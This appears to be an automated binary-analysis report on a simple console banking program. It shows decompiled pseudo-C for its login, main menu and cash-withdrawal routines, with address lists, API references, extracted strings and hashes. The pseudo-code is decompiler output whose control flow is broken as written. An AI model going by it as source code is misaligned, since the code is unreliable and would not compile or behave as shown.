					E00EC715C(_t108, _t121, _t122, 0);
					_t127 = _t123 + 0x14;
					E00EC12F0(_t121, _t122,  &_v68);
					_v20 = _v20 + 1;
					_t143 = _v20 - 3;
					if(_v20 == 3) {
						E00EC20E0( &_v68, _t121, _t122, _t143, _t148);
						E00EC12B0(0x19, 0xa);
						_push(0xedfb98);
						E00EC715C(_t108, _t121, _t122, _t143);
						E00EC12B0(0x16, 0xc);
						_push("Press ENTER to exit the program...");
						E00EC715C(_t108, _t121, _t122, _t143);
						_t127 = _t127 + 8;
						E00EC77B1(0);
					}
					_v12 = 0;
					_t58 = E00EC6EF1("USER.DAT", "r");
					_t128 = _t127 + 8;
					 *0xee2f28 = _t58;
					while(1) {
						_push( &_v156);
						_push( &_v124);
						_t60 =  *0xee2f28; // 0x0
						_t61 = E00EC7021(_t60, "%s %s %s\n",  &_v92);
						_t129 = _t128 + 0x14;
						if(_t61 == 0xffffffff) {
							break;
						}
						_t98 = E00EC8230(0xee2ee4,  &_v124);
						_t128 = _t129 + 8;
						if(_t98 == 0) {
							_t99 = E00EC8230(0xee2f02,  &_v156);
							_t128 = _t128 + 8;
							if(_t99 == 0) {
								_v12 = _v12 + 1;
							}
						}
					}
					_t111 =  *0xee2f28; // 0x0
					_push(_t111);
					E00EC6DB6(_t108, _t121, _t122, __eflags);
					_t130 = _t129 + 4;
					E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
					__eflags = _v12;
					if(__eflags == 0) {
						goto L10;
					}
					break;
					L10:
					E00EC12B0(0xa, 0xa);
					_push(0xedfbf8);
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t123 = _t130 + 4;
					__eflags = 1;
				} while (1 != 0);
				E00EC8417(__eflags,  &_v80);
				_t131 = _t130 + 4;
				E00EC3AB0(_t108, _t121, _t122, _t148);
				do {
					E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
					E00EC12B0(0xf, 8);
					_push("1. Create New Account\n");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xa);
					_push("2. Cash Deposit");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xc);
					_push("3. Cash Withdrawl");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xe);
					_push("4. Fund Transfer");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0x10);
					_push("5. Account information");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 8);
					_push("6. Transaction information");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 0xa);
					_push("7. Log out");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 0xc);
					_push("8. Exit");
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t139 = _t131 + 0x20;
					E00EC12B0(1, 0x11);
					_v24 = 0;
					while(1) {
						__eflags = _v24 - 0x4e;
						if(__eflags >= 0) {
							break;
						}
						_push("_");
						E00EC715C(_t108, _t121, _t122, __eflags);
						_t139 = _t139 + 4;
						_t111 = _v24 + 1;
						__eflags = _t111;
						_v24 = _t111;
					}
					E00EC12B0(0x17, 0x13);
					_push("Press a choice between the range [1-8] ");
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t131 = _t139 + 4;
					_v16 = 0x30;
					_v16 = _v16 - 1;
					__eflags = _v16 - 7;
					if(__eflags > 0) {
						E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
						E00EC12B0(0xa, 0xa);
						_push("Your input is out of range! Enter a choice between 1 to 8!");
						E00EC715C(_t108, _t121, _t122, __eflags);
						E00EC12B0(0xf, 0xc);
						_push("Press any key to return to main menu...");
						E00EC715C(_t108, _t121, _t122, __eflags);
						_t131 = _t131 + 8;
					} else {
						switch( *((intOrPtr*)(_v16 * 4 +  &M00EC3A88))) {
							case 0:
								E00EC3DE0(_t108, _t111, _t121, _t122, __eflags, _t148);
								goto L35;
							case 1:
								__eax = E00EC4640(__ebx, __ecx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 2:
								__eax = E00EC49E0(__ebx, __ecx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 3:
								__eax = E00EC4E90(__ebx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 4:
								__eax = E00EC5600(__ebx, __ecx, __eflags, __fp0);
								goto L35;
							case 5:
								__eax = E00EC6190(__ebx, __ecx, __edx, __fp0);
								goto L35;
							case 6:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0) = E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to Log out? <Y/N> : ");
								__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__ecx = _v5;
								__eflags = __ecx - 0x59;
								if(__eflags == 0) {
									L28:
									_t40 =  &_v36; // -15
									_t40 = E00EC8417(__eflags, _t40);
									 *0xee2f28 = E00EC6EF1("LOG.DAT", "a");
									_t41 =  &_v36; // -15
									__ecx = _t41;
									_push(_t41);
									_t42 =  &_v80; // -59
									__edx = _t42;
									_push(_t42);
									_push(0xee2f40);
									_push(0xee2ee0);
									_push("%s %s %s %s\n");
									__eax =  *0xee2f28; // 0x0
									_push(__eax);
									__eax = E00EC6F06(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0x18;
									__ecx =  *0xee2f28; // 0x0
									_push(__ecx);
									__eax = E00EC6DB6(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = E00EC3610(__ebx, __edi, __esi, __fp0);
								} else {
									__edx = _v5;
									__eflags = _v5 - 0x79;
									if(__eflags == 0) {
										goto L28;
									}
								}
								goto L35;
							case 7:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0) = E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to exit? <Y/N> : ");
								__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__edx = _v5;
								__eflags = _v5 - 0x59;
								if(__eflags == 0) {
									L32:
									_t45 =  &_v36; // -15
									__ecx = _t45;
									__eax = E00EC8417(__eflags, _t45);
									 *0xee2f28 = E00EC6EF1("LOG.DAT", "a");
									_t46 =  &_v36; // -15
									__edx = _t46;
									_push(_t46);
									_t47 =  &_v80; // -59
									__eax = _t47;
									_push(_t47);
									_push(0xee2f40);
									_push(0xee2ee0);
									_push("%s %s %s %s\n");
									__ecx =  *0xee2f28; // 0x0
									_push(__ecx);
									__eax = E00EC6F06(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0x18;
									__edx =  *0xee2f28; // 0x0
									_push(__edx);
									__eax = E00EC6DB6(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = E00EC77B1(0);
								} else {
									__eax = _v5;
									__eflags = _v5 - 0x79;
									if(__eflags == 0) {
										goto L32;
									}
								}
								goto L35;
						}
					}
					L35:
					__eflags = 1;
				} while (1 != 0);
				return 1;
			}

0x00ec3610
0x00ec3610
0x00ec3610
0x00ec3610
0x00ec3619
0x00ec361f
0x00ec3622
0x00ec3625
0x00ec3628
0x00ec362b
0x00ec362e
0x00ec3631
0x00ec3634
0x00ec3637
0x00ec363e
0x00ec3645
0x00ec364c
0x00ec3654
0x00ec365d
0x00ec3662
0x00ec3667
0x00ec3673
0x00ec3678
0x00ec367d
0x00ec368f
0x00ec369b
0x00ec36a0
0x00ec36a5
0x00ec36aa
0x00ec36b1
0x00ec36bc
0x00ec36bf
0x00ec36c3
0x00ec36c5
0x00ec36ce
0x00ec36d3
0x00ec36d8
0x00ec36e4
0x00ec36e9
0x00ec36ee
0x00ec36f3
0x00ec36f8
0x00ec36f8
0x00ec36fd
0x00ec370e
0x00ec3713
0x00ec3716
0x00ec371b
0x00ec3721
0x00ec3725
0x00ec372f
0x00ec3735
0x00ec373a
0x00ec3740
0x00000000
0x00000000
0x00ec374b
0x00ec3750
0x00ec3755
0x00ec3763
0x00ec3768
0x00ec376d
0x00ec3775
0x00ec3775
0x00ec376d
0x00ec3778
0x00ec377a
0x00ec3780
0x00ec3781
0x00ec3786
0x00ec3789
0x00ec378e
0x00ec3792
0x00000000
0x00000000
0x00000000
0x00ec3794
0x00ec3798
0x00ec379d
0x00ec37a2
0x00ec37a7
0x00ec37b3
0x00ec37b3
0x00ec37bf
0x00ec37c4
0x00ec37c7
0x00ec37cc
0x00ec37cc
0x00ec37d5
0x00ec37da
0x00ec37df
0x00ec37eb
0x00ec37f0
0x00ec37f5
0x00ec3801
0x00ec3806
0x00ec380b
0x00ec3817
0x00ec381c
0x00ec3821
0x00ec382d
0x00ec3832
0x00ec3837
0x00ec3843
0x00ec3848
0x00ec384d
0x00ec3859
0x00ec385e
0x00ec3863
0x00ec386f
0x00ec3874
0x00ec3879
0x00ec387e
0x00ec3885
0x00ec388a
0x00ec389c
0x00ec389c
0x00ec38a0
0x00000000
0x00000000
0x00ec38a2
0x00ec38a7
0x00ec38ac
0x00ec3896
0x00ec3896
0x00ec3899
0x00ec3899
0x00ec38b5
0x00ec38ba
0x00ec38bf
0x00ec38c4
0x00ec38c7
0x00ec38d4
0x00ec38d7
0x00ec38db
0x00ec3a43
0x00ec3a4c
0x00ec3a51
0x00ec3a56
0x00ec3a62
0x00ec3a67
0x00ec3a6c
0x00ec3a71
0x00ec38e1
0x00ec38e4
0x00000000
0x00ec38eb
0x00000000
0x00000000
0x00ec38f5
0x00000000
0x00000000
0x00ec38ff
0x00000000
0x00000000
0x00ec3909
0x00000000
0x00000000
0x00ec3913
0x00000000
0x00000000
0x00ec391d
0x00000000
0x00000000
0x00ec3930
0x00ec3935
0x00ec393a
0x00ec393f
0x00ec3942
0x00ec3946
0x00ec3949
0x00ec3954
0x00ec3954
0x00ec3958
0x00ec3972
0x00ec3977
0x00ec3977
0x00ec397a
0x00ec397b
0x00ec397b
0x00ec397e
0x00ec397f
0x00ec3984
0x00ec3989
0x00ec398e
0x00ec3993
0x00ec3994
0x00ec3999
0x00ec399c
0x00ec39a2
0x00ec39a3
0x00ec39a8
0x00ec39ab
0x00ec394b
0x00ec394b
0x00ec394f
0x00ec3952
0x00000000
0x00000000
0x00ec3952
0x00000000
0x00000000
0x00ec39be
0x00ec39c3
0x00ec39c8
0x00ec39cd
0x00ec39d0
0x00ec39d4
0x00ec39d7
0x00ec39e2
0x00ec39e2
0x00ec39e2
0x00ec39e6
0x00ec3a00
0x00ec3a05
0x00ec3a05
0x00ec3a08
0x00ec3a09
0x00ec3a09
0x00ec3a0c
0x00ec3a0d
0x00ec3a12
0x00ec3a17
0x00ec3a1c
0x00ec3a22
0x00ec3a23
0x00ec3a28
0x00ec3a2b
0x00ec3a31
0x00ec3a32
0x00ec3a37
0x00ec3a3c
0x00ec39d9
0x00ec39d9
0x00ec39dd
0x00ec39e0
0x00000000
0x00000000
0x00ec39e0
0x00000000
0x00000000
0x00ec38e4
0x00ec3a74
0x00ec3a79
0x00ec3a79
0x00ec3a84

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC3667
_wprintf.LIBCMT ref: 00EC367D

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wscanf.LIBCMT ref: 00EC368F

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC36A5

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

_wprintf.LIBCMT ref: 00EC36D8
_wprintf.LIBCMT ref: 00EC3863
_wprintf.LIBCMT ref: 00EC3879
_wprintf.LIBCMT ref: 00EC38A7

Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E21
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E54
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E6C
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3E80
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3E94
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3EAA
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3EBB
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3ED1
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3EE2

_wprintf.LIBCMT ref: 00EC38BF
_wprintf.LIBCMT ref: 00EC36EE

Part of subcall function 00EC77B1: _doexit.LIBCMT ref: 00EC77BB

_swscanf.LIBCMT ref: 00EC3735
_wprintf.LIBCMT ref: 00EC37A2
__wstrtime.LIBCMT ref: 00EC37BF
_wprintf.LIBCMT ref: 00EC37DF
_wprintf.LIBCMT ref: 00EC37F5
_wprintf.LIBCMT ref: 00EC380B
_wprintf.LIBCMT ref: 00EC3821
_wprintf.LIBCMT ref: 00EC3837
_wprintf.LIBCMT ref: 00EC384D

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Strings

7. Log out, xrefs: 00EC385E
6. Transaction information, xrefs: 00EC3848
Are you sure you want to Log out? <Y/N> : , xrefs: 00EC3935
2. Cash Deposit, xrefs: 00EC37F0
%s %s %s %s, xrefs: 00EC3989
Press a choice between the range [1-8] , xrefs: 00EC38BA
Only THREE attempts shall be allowed to enter username and password., xrefs: 00EC3662
Are you sure you want to exit? <Y/N> : , xrefs: 00EC39C3
Press any key to return to main menu..., xrefs: 00EC3A67
LOG.DAT, xrefs: 00EC3965
%s %s %s, xrefs: 00EC372A
Press ENTER to exit the program..., xrefs: 00EC36E9
Password : , xrefs: 00EC36A0
4. Fund Transfer, xrefs: 00EC381C
%s %s %s %s, xrefs: 00EC3A17
USER.DAT, xrefs: 00EC3709
N, xrefs: 00EC389C
Your input is out of range! Enter a choice between 1 to 8!, xrefs: 00EC3A51
1. Create New Account, xrefs: 00EC37DA
8. Exit, xrefs: 00EC3874
LOG.DAT, xrefs: 00EC39F3
5. Account information, xrefs: 00EC3832
0, xrefs: 00EC38C7
Enter User name : , xrefs: 00EC3678
3. Cash Withdrawl, xrefs: 00EC3806

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$_wscanf$__wstrtime$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf_doexit_swscanf_vwscanf
String ID: %s %s %s$%s %s %s %s$%s %s %s %s$0$1. Create New Account$2. Cash Deposit$3. Cash Withdrawl$4. Fund Transfer$5. Account information$6. Transaction information$7. Log out$8. Exit$Are you sure you want to Log out? <Y/N> : $Are you sure you want to exit? <Y/N> : $Enter User name : $LOG.DAT$LOG.DAT$N$Only THREE attempts shall be allowed to enter username and password.$Password : $Press ENTER to exit the program...$Press a choice between the range [1-8] $Press any key to return to main menu...$USER.DAT$Your input is out of range! Enter a choice between 1 to 8!
API String ID: 1611355571-1720101819
Opcode ID: d466deeb01c4e955169bc11a14adecd3d43928425b8914683879a0de8e8d14a4
Instruction ID: 30e192a88be7f11adaff88e8bf1be31310ac7c194d12c73d5add46d41507974a
Opcode Fuzzy Hash: d466deeb01c4e955169bc11a14adecd3d43928425b8914683879a0de8e8d14a4
Instruction Fuzzy Hash: ACA1B5B1E943096AE714BBF08E43F9E71B45B12B00F04613EF546753C2E9B3921B966B

Uniqueness

Uniqueness Score: -1.00%

Function 00EC49E0, Relevance: 65.1, APIs: 17, Strings: 20, Instructions: 328
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00EC49E0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v42;
				char _v62;
				char _v112;
				char _v113;
				char _v125;
				char _v140;
				char _v170;
				char _v200;
				char _v208;
				char _v244;
				char _v324;
				char _v376;
				char _v456;
				void* __ebp;
				intOrPtr _t64;
				intOrPtr _t70;
				intOrPtr _t75;
				void* _t76;
				intOrPtr _t77;
				void* _t81;
				char _t97;
				intOrPtr _t99;
				void* _t104;
				intOrPtr _t105;
				intOrPtr _t110;
				void* _t117;
				void* _t122;
				void* _t127;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr _t168;
				intOrPtr _t173;
				void* _t177;
				void* _t180;
				void* _t184;
				void* _t185;
				void* _t193;
				void* _t195;
				void* _t196;
				void* _t205;

				_t215 = __fp0;
				_t176 = __esi;
				_t175 = __edi;
				_t132 = __ecx;
				_t131 = __ebx;
				_v16 = 0;
				E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
				E00EC12B0(5, 0xa);
				_push("Withdraw from A/C number          : ");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC738B("%s",  &_v28);
				_t64 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t180 = _t177 + 0x14;
				 *0xee2f28 = _t64;
				_t214 = _v16;
				if(_v16 == 0) {
					E00EC20E0(_t132, __edi, __esi, _t214, __fp0);
					E00EC12B0(0x14, 0xc);
					_push("Given A/C number does not exits!");
					return E00EC715C(__ebx, _t175, _t176, _t214);
				}
				E00EC12B0(0x32, 0xa);
				_push( &_v376);
				_push("[ %s ]");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC12B0(5, 0xc);
				_push("Amount to be Withdrawn (in NRs.)  : ");
				E00EC715C(__ebx, _t175, _t176, __eflags);
				E00EC738B("%f",  &_v12);
				_t70 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t184 = _t180 + 0x1c;
				 *0xee2f28 = _t70;
				_v16 = 0;
				while(1) {
					_push( &_v32);
					_push( &_v36);
					_push( &_v40);
					_push( &_v42);
					_push( &_v140);
					_push( &_v113);
					_push( &_v62);
					_push( &_v112);
					_push( &_v125);
					_push( &_v170);
					_push( &_v200);
					_t75 =  *0xee2f28; // 0x0
					_t76 = E00EC7021(_t75, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
					_t185 = _t184 + 0x38;
					__eflags = _t76 - 0xffffffff;
					if(__eflags == 0) {
						break;
					}
					_t122 = E00EC8230( &_v208,  &_v28);
					_t184 = _t185 + 8;
					__eflags = _t122;
					if(__eflags == 0) {
						asm("movss xmm0, [ebp-0x8]");
						asm("comiss xmm0, [ebp-0x1c]");
						if(__eflags > 0) {
							E00EC20E0( &_v28, _t175, _t176, __eflags, _t215);
							E00EC12B0(0x14, 0xc);
							asm("cvtss2sd xmm0, [ebp-0x1c]");
							asm("movsd [esp], xmm0");
							_push("Sorry, the current balance is Rs. %.2f only!");
							E00EC715C(_t131, _t175, _t176, __eflags);
							E00EC12B0(0x19, 0xe);
							_push("Transaction NOT completed!");
							_t127 = E00EC715C(_t131, _t175, _t176, __eflags);
							_v16 = 1;
							return _t127;
						}
					}
				}
				_t77 =  *0xee2f28; // 0x0
				_push(_t77);
				E00EC6DB6(_t131, _t175, _t176, __eflags);
				E00EC20E0( &_v200, _t175, _t176, __eflags, _t215);
				E00EC12B0(0x1e, 0xa);
				_push("Confirm Transaction");
				_t81 = E00EC715C(_t131, _t175, _t176, __eflags);
				asm("movss xmm0, [ebp-0x8]");
				asm("movss [esp], xmm0");
				E00EC1870(_t81,  &_v244);
				E00EC12B0(3, 0xc);
				_push( &_v376);
				_push( &_v28);
				E00EC715C(_t131, _t175, _t176, __eflags);
				asm("cvtss2sd xmm0, [ebp-0x8]");
				asm("movsd [esp], xmm0");
				E00EC1B30( &_v456, "%s to be Withdrawn from A/C number : %s [%s]",  &_v244);
				E00EC8140( &_v324,  &_v456);
				E00EC8140( &_v324, "]");
				E00EC12B0(0x28 - (E00EC82C0( &_v324) >> 1), 0xe);
				_push( &_v324);
				E00EC7229(_t131, _t175, _t176, __eflags);
				E00EC12B0(8, 0x11);
				_push("Are you sure you want to perform this tranasction? <Y/N>");
				E00EC715C(_t131, _t175, _t176, __eflags);
				_t193 = _t185 + 0x14 - 8 + 0x1c;
				_t97 = _v5;
				__eflags = _t97 - 0x59;
				if(_t97 == 0x59) {
					L10:
					 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
					_t99 = E00EC6EF1("TEMP.DAT", "w");
					_t195 = _t193 + 0x10;
					 *0xee2f24 = _t99;
					_v16 = 0;
					while(1) {
						_push( &_v32);
						_push( &_v36);
						_push( &_v40);
						_push( &_v42);
						_push( &_v140);
						_push( &_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_t168 =  *0xee2f28; // 0x0
						_t104 = E00EC7021(_t168, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
						_t196 = _t195 + 0x38;
						__eflags = _t104 - 0xffffffff;
						if(__eflags == 0) {
							break;
						}
						_t117 = E00EC8230( &_v208,  &_v28);
						_t205 = _t196 + 8;
						__eflags = _t117;
						if(__eflags == 0) {
							asm("movss xmm0, [ebp-0x24]");
							asm("subss xmm0, [ebp-0x8]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [0xed8210]");
						asm("comiss xmm0, [ebp-0x24]");
						if(__eflags > 0) {
							asm("movss xmm0, [ebp-0x20]");
							asm("addss xmm0, [ebp-0x24]");
							asm("movss [ebp-0x20], xmm0");
							asm("movss xmm0, [0xed8210]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [ebp-0x24]");
						asm("addss xmm0, [ebp-0x20]");
						asm("movss [ebp-0x1c], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x1c]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x20]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x24]");
						asm("movsd [esp], xmm0");
						_push(_v42);
						_push( &_v140);
						_push(_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_push( &_v208);
						_push("%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f\n");
						_t173 =  *0xee2f24; // 0x0
						_push(_t173);
						E00EC6F06(_t131, _t175, _t176, __eflags);
						_t195 = _t205 - 0xfffffffffffffff8 + 0x44;
					}
					_t105 =  *0xee2f24; // 0x0
					_push(_t105);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					_t147 =  *0xee2f28; // 0x0
					_push(_t147);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					 *0xee2f28 = E00EC6EF1("TRANSACTION.DAT", "a");
					E00EC8417(__eflags, 0xee2f30);
					_push(0xee2ee4);
					asm("cvtss2sd xmm0, [ebp-0x8]");
					asm("movsd [esp], xmm0");
					_push(0xee2f30);
					_push(0xee2f40);
					_push("Cash+Withdrawn");
					_push( &_v28);
					_push("%s %s %s %s %.2f %s\n");
					_t110 =  *0xee2f28; // 0x0
					_push(_t110);
					E00EC6F06(_t131, _t175, _t176, __eflags);
					_t148 =  *0xee2f28; // 0x0
					_push(_t148);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					E00EC20E0(_t148, _t175, _t176, __eflags, _t215);
					E00EC12B0(0x14, 0xc);
					_push("Transaction completed successfully!");
					return E00EC715C(_t131, _t175, _t176, __eflags);
				}
				__eflags = _v5 - 0x79;
				if(_v5 == 0x79) {
					goto L10;
				}
				return _t97;
			}

0x00ec49e0
0x00ec49e0
0x00ec49e0
0x00ec49e0
0x00ec49e0
0x00ec49e9
0x00ec49f0
0x00ec49f9
0x00ec49fe
0x00ec4a03
0x00ec4a14
0x00ec4a26
0x00ec4a2b
0x00ec4a2e
0x00ec4a33
0x00ec4a37
0x00ec4a39
0x00ec4a42
0x00ec4a47
0x00000000
0x00ec4a51
0x00ec4a5d
0x00ec4a68
0x00ec4a69
0x00ec4a6e
0x00ec4a7a
0x00ec4a7f
0x00ec4a84
0x00ec4a95
0x00ec4aa7
0x00ec4aac
0x00ec4aaf
0x00ec4ab4
0x00ec4abb
0x00ec4abe
0x00ec4ac2
0x00ec4ac6
0x00ec4aca
0x00ec4ad1
0x00ec4ad5
0x00ec4ad9
0x00ec4add
0x00ec4ae1
0x00ec4ae8
0x00ec4aef
0x00ec4afc
0x00ec4b02
0x00ec4b07
0x00ec4b0a
0x00ec4b0d
0x00000000
0x00000000
0x00ec4b1a
0x00ec4b1f
0x00ec4b22
0x00ec4b24
0x00ec4b26
0x00ec4b2b
0x00ec4b2f
0x00ec4b31
0x00ec4b3a
0x00ec4b3f
0x00ec4b47
0x00ec4b4c
0x00ec4b51
0x00ec4b5d
0x00ec4b62
0x00ec4b67
0x00ec4b6f
0x00000000
0x00ec4b6f
0x00ec4b2f
0x00ec4b7b
0x00ec4b80
0x00ec4b85
0x00ec4b86
0x00ec4b8e
0x00ec4b97
0x00ec4b9c
0x00ec4ba1
0x00ec4ba6
0x00ec4bab
0x00ec4bb7
0x00ec4bc0
0x00ec4bcb
0x00ec4bcf
0x00ec4bdc
0x00ec4beb
0x00ec4bf3
0x00ec4bf8
0x00ec4c0b
0x00ec4c1f
0x00ec4c42
0x00ec4c4d
0x00ec4c4e
0x00ec4c5a
0x00ec4c5f
0x00ec4c64
0x00ec4c69
0x00ec4c6c
0x00ec4c70
0x00ec4c73
0x00ec4c82
0x00ec4c94
0x00ec4ca3
0x00ec4ca8
0x00ec4cab
0x00ec4cb0
0x00ec4cb7
0x00ec4cba
0x00ec4cbe
0x00ec4cc2
0x00ec4cc6
0x00ec4ccd
0x00ec4cd1
0x00ec4cd5
0x00ec4cd9
0x00ec4cdd
0x00ec4ce4
0x00ec4ceb
0x00ec4cf8
0x00ec4cff
0x00ec4d04
0x00ec4d07
0x00ec4d0a
0x00000000
0x00000000
0x00ec4d1b
0x00ec4d20
0x00ec4d23
0x00ec4d25
0x00ec4d27
0x00ec4d2c
0x00ec4d31
0x00ec4d31
0x00ec4d36
0x00ec4d3e
0x00ec4d42
0x00ec4d44
0x00ec4d49
0x00ec4d4e
0x00ec4d53
0x00ec4d5b
0x00ec4d5b
0x00ec4d60
0x00ec4d65
0x00ec4d6a
0x00ec4d6f
0x00ec4d77
0x00ec4d7c
0x00ec4d84
0x00ec4d89
0x00ec4d91
0x00ec4d9a
0x00ec4da1
0x00ec4da6
0x00ec4daa
0x00ec4dae
0x00ec4db2
0x00ec4db9
0x00ec4dc0
0x00ec4dc7
0x00ec4dc8
0x00ec4dcd
0x00ec4dd3
0x00ec4dd4
0x00ec4dd9
0x00ec4dd9
0x00ec4de1
0x00ec4de6
0x00ec4de7
0x00ec4def
0x00ec4df5
0x00ec4df6
0x00ec4e10
0x00ec4e1a
0x00ec4e22
0x00ec4e27
0x00ec4e2f
0x00ec4e34
0x00ec4e39
0x00ec4e3e
0x00ec4e46
0x00ec4e47
0x00ec4e4c
0x00ec4e51
0x00ec4e52
0x00ec4e5a
0x00ec4e60
0x00ec4e61
0x00ec4e69
0x00ec4e72
0x00ec4e77
0x00000000
0x00ec4e81
0x00ec4c79
0x00ec4c7c
0x00000000
0x00000000
0x00ec4e87

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC4A03
_wscanf.LIBCMT ref: 00EC4A14

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_wprintf.LIBCMT ref: 00EC4A4C

